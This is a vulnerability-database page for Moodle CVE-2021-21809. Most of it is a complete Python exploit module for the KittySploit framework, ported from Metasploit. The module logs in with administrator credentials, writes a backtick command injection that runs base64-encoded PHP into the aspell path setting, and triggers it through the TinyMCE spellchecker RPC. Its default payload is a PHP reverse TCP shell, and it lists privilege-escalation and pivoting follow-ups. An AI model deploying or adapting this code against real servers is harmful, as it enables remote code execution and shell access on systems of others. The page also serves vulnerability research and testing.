Moodle SpellChecker Path Authenticated RCE (CVE-2021-21809)
| Reporter | Title | Published | Views | Family All 31 |
|---|---|---|---|---|
| Moodle SpellChecker Path Authenticated Remote Command Execution Exploit | 13 Oct 202100:00 | – | zdt | |
| Moodle Authenticated Spelling Binary Remote Code Execution Exploit | 13 Oct 202100:00 | – | zdt | |
| CVE-2021-21809 | 23 Jun 202122:15 | – | attackerkb | |
| CVE-2021-21809 | 24 Jun 202102:17 | – | circl | |
| Moodle 操作系统命令注入漏洞 | 22 Jun 202100:00 | – | cnnvd | |
| Moodle Command Execution Vulnerability | 25 Jun 202100:00 | – | cnvd | |
| Moodle Command Injection (CVE-2021-21809) | 26 Jul 202100:00 | – | checkpoint_advisories | |
| CVE-2021-21809 | 23 Jun 202121:25 | – | cve | |
| CVE-2021-21809 | 23 Jun 202121:25 | – | cvelist | |
| Moodle command execution vulnerability exists in the default legacy spellchecker plugin | 24 May 202219:06 | – | github |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Moodle SpellChecker Path Authenticated RCE — CVE-2021-21809.
An authenticated Moodle administrator can set the aspell system path to a
command injection payload, enable the TinyMCE PSpellShell spell engine, and
trigger execution via the legacy spellchecker RPC endpoint.
Port of Metasploit ``exploit/multi/http/moodle_spelling_path_rce``.
Tested by MSF against Moodle 3.11.2, 3.10.0, and 3.8.0.
"""
from __future__ import annotations
import base64
import re
import time
from typing import Optional
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.moodle import Moodle
class Module(Exploit, Http_client, Moodle):
__info__ = {
"name": "Moodle SpellChecker Path Authenticated RCE (CVE-2021-21809)",
"description": (
"Moodle allows an authenticated administrator to define spellcheck "
"settings via the web interface. An administrator can update the "
"aspell path to include a command injection (similar to CVE-2013-3630). "
"Requires admin credentials. Tested against Moodle 3.11.2, 3.10.0, 3.8.0."
),
"author": [
"Adam Reiser", # Discovery
"h00die", # Metasploit module
"KittySploit Team",
],
"cve": ["CVE-2021-21809"],
"arch": [Arch.PHP],
"platform": Platform.PHP,
"payload": {
"default": "payloads/singles/cmd/php/reverse_tcp",
"arch": Arch.PHP,
"platform": Platform.PHP,
"category": PayloadCategory.SINGLE,
},
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2021-21809",
"https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277",
"https://www.exploit-db.com/exploits/50140",
],
"tags": [
"moodle",
"authenticated",
"rce",
"spellchecker",
"aspell",
"cve-2021-21809",
"cms",
],
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation", "config_changes"],
"expected_requests": 12,
"reversible": True,
"approval_required": True,
"produces": ["exploit_paths", "risk_signals"],
"cost": 1.8,
"noise": 0.7,
"value": 1.5,
"requires": {
"min_endpoints": 0,
"min_params": 0,
"tech_hints_any": ["moodle"],
"tech_hints_all": [],
"specializations_any": [],
"risk_signals_any": [],
"auth_session": False,
"capabilities_any": [],
"capabilities_all": [],
"confidence_min": {"moodle": 0.3},
"confidence_min_any": {},
"endpoint_pattern_any": ["/login/index.php", "/lib/upgrade.txt"],
"param_any": [],
"api_surface_ready": False,
},
"chain": {
"produces_capabilities": [
{"capability": "rce", "from_detail": ""},
{"capability": "shell", "from_detail": ""},
],
"consumes_capabilities": [],
"option_bindings": {},
"suggested_followups": [
"post/shell/multi/gather/privesc_suggester",
"post/shell/multi/manage/pivot_autoroute",
],
},
},
}
path = OptString("/", "Moodle base path", required=False)
username = OptString("admin", "Moodle administrator username", required=True)
password = OptString("", "Moodle administrator password", required=True)
cleanup = OptBool(True, "Restore aspell path and spell engine after exploit", required=False)
cleanup_delay = OptFloat(5.0, "Seconds to wait before cleanup", required=False, advanced=True)
def _base(self) -> str:
return self.moodle_normalize_base_path(str(self.path or "/"))
def _settings_path(self, section: str) -> str:
return f"{self.moodle_join_path(self._base(), 'admin', 'settings.php')}?section={section}"
def _spellcheck_rpc_path(self) -> str:
return self.moodle_join_path(
self._base(),
"lib",
"editor",
"tinymce",
"plugins",
"spellchecker",
"rpc.php",
)
def _php_payload_code(self) -> str:
raw = str(self.payload).strip() if self.payload else ""
if not raw:
return ""
code = raw
if code.startswith("<?php"):
code = code[5:].lstrip()
elif code.startswith("<?"):
code = code[2:].lstrip()
if code.endswith("?>"):
code = code[:-2].rstrip()
return re.sub(r"\s+", " ", code).strip()
def _aspell_injection(self, php_code: str) -> str:
"""Build backtick command injection for s__aspellpath (no single quotes)."""
# Base64 avoids quote/newline issues in php -r "..." (MSF BadChars: ').
b64 = base64.b64encode(php_code.encode("utf-8")).decode("ascii")
inner = f'eval(base64_decode("{b64}"));'
escaped = inner.replace("\\", "\\\\").replace('"', '\\"')
return f'`php -r "{escaped}" &`'
def _change_aspellpath(self, value: str = "") -> bool:
section = "systempaths"
get_path = self._settings_path(section)
res = self.http_request(method="GET", path=get_path, allow_redirects=True)
if not res:
print_error("Error retrieving system paths settings")
return False
sesskey = self.moodle_extract_sesskey(res.text or "")
if not sesskey:
print_error("Unable to extract sesskey from system paths page")
return False
post = self.http_request(
method="POST",
path=get_path,
data={
"section": section,
"action": "save-settings",
"sesskey": sesskey,
"return": "",
"s__pathtophp": "",
"s__pathtodu": "",
"s__aspellpath": value,
"s__pathtodot": "",
"s__pathtogs": "/usr/bin/gs",
"s__pathtopython": "",
},
headers={"Content-Type": "application/x-www-form-urlencoded"},
allow_redirects=True,
)
return bool(post)
def _set_spellchecker(self, checker: str = "") -> bool:
# Empty string = None in the GUI (default).
section = "tinymcespellcheckersettings"
get_path = self._settings_path(section)
res = self.http_request(method="GET", path=get_path, allow_redirects=True)
if not res:
print_error("No response from TinyMCE spellchecker settings")
return False
sesskey = self.moodle_extract_sesskey(res.text or "")
if not sesskey:
print_error("Unable to extract sesskey from spellchecker settings")
return False
post = self.http_request(
method="POST",
path=get_path,
data={
"section": section,
"action": "save-settings",
"sesskey": sesskey,
"return": "",
"s_tinymce_spellchecker_spellengine": checker,
"s_tinymce_spellchecker_spelllanguagelist": (
"+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,"
"German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv"
),
},
headers={"Content-Type": "application/x-www-form-urlencoded"},
allow_redirects=True,
)
return bool(post)
def _trigger_spellcheck(self) -> Optional[object]:
spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
return self.http_request(
method="POST",
path=self._spellcheck_rpc_path(),
data=spellcheck,
headers={"Content-Type": "application/json"},
allow_redirects=False,
timeout=max(int(getattr(self, "timeout", None) or 10), 5),
)
def _cleanup_settings(self) -> None:
delay = max(float(self.cleanup_delay or 0.0), 0.0)
if delay:
print_status(f"Sleeping {delay}s before cleanup")
time.sleep(delay)
print_status(f"Re-authenticating as {self.username} for cleanup")
try:
self.clear_cookies()
except Exception:
pass
ok, _ = self.moodle_login(
str(self.username),
str(self.password),
base_path=self._base(),
)
if not ok:
print_error("Failed login during cleanup — settings may still contain the payload")
return
print_status("Removing RCE from settings")
self._change_aspellpath("")
self._set_spellchecker("")
def check(self):
info = self.moodle_detect(base_path=self._base())
if not info.get("found"):
print_error("No Moodle instance found")
return False
version = info.get("version") or self.moodle_version(base_path=self._base())
if not version:
print_warning("Moodle detected but version could not be determined")
return True
# Talos advisory: vendor updated docs (2021-04-21) rather than a hard patch;
# MSF treats versions > 3.0.0 as Appears.
if self.moodle_version_greater_than(version, "3.0.0"):
print_status(f"Exploitable Moodle version {version} detected")
return True
print_warning(f"Non-exploitable Moodle version {version} detected")
return False
def run(self):
php_code = self._php_payload_code()
if not php_code:
print_error("No PHP payload available — set a PHP payload first")
return False
print_status(f"Authenticating as user: {self.username}")
ok, _ = self.moodle_login(
str(self.username),
str(self.password),
base_path=self._base(),
)
if not ok:
print_error("Unable to login — check credentials (admin required)")
return False
print_success("Login successful")
changed = False
try:
print_status("Updating aspell path with command injection")
injection = self._aspell_injection(php_code)
if not self._change_aspellpath(injection):
print_error("Failed to update aspell path")
return False
changed = True
print_status("Changing spell engine to PSpellShell")
if not self._set_spellchecker("PSpellShell"):
print_error("Failed to set spell engine")
return False
print_status("Triggering payload via TinyMCE spellchecker RPC")
# MSF treats a missing response as success (payload may hang the worker).
res = self._trigger_spellcheck()
if res is None:
print_success("No HTTP response (expected when payload blocks) — check handler")
else:
print_status(
f"Spellcheck RPC returned HTTP {res.status_code} — verify session/handler"
)
return True
finally:
if changed and bool(self.cleanup):
try:
self._cleanup_settings()
except Exception as exc:
print_warning(f"Cleanup failed: {exc}")
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
16 Jul 2026 12:39Current
7.8High risk
Vulners AI Score7.8
CVSS 29
CVSS 3.19.1
CVSS 38.2
EPSS0.24173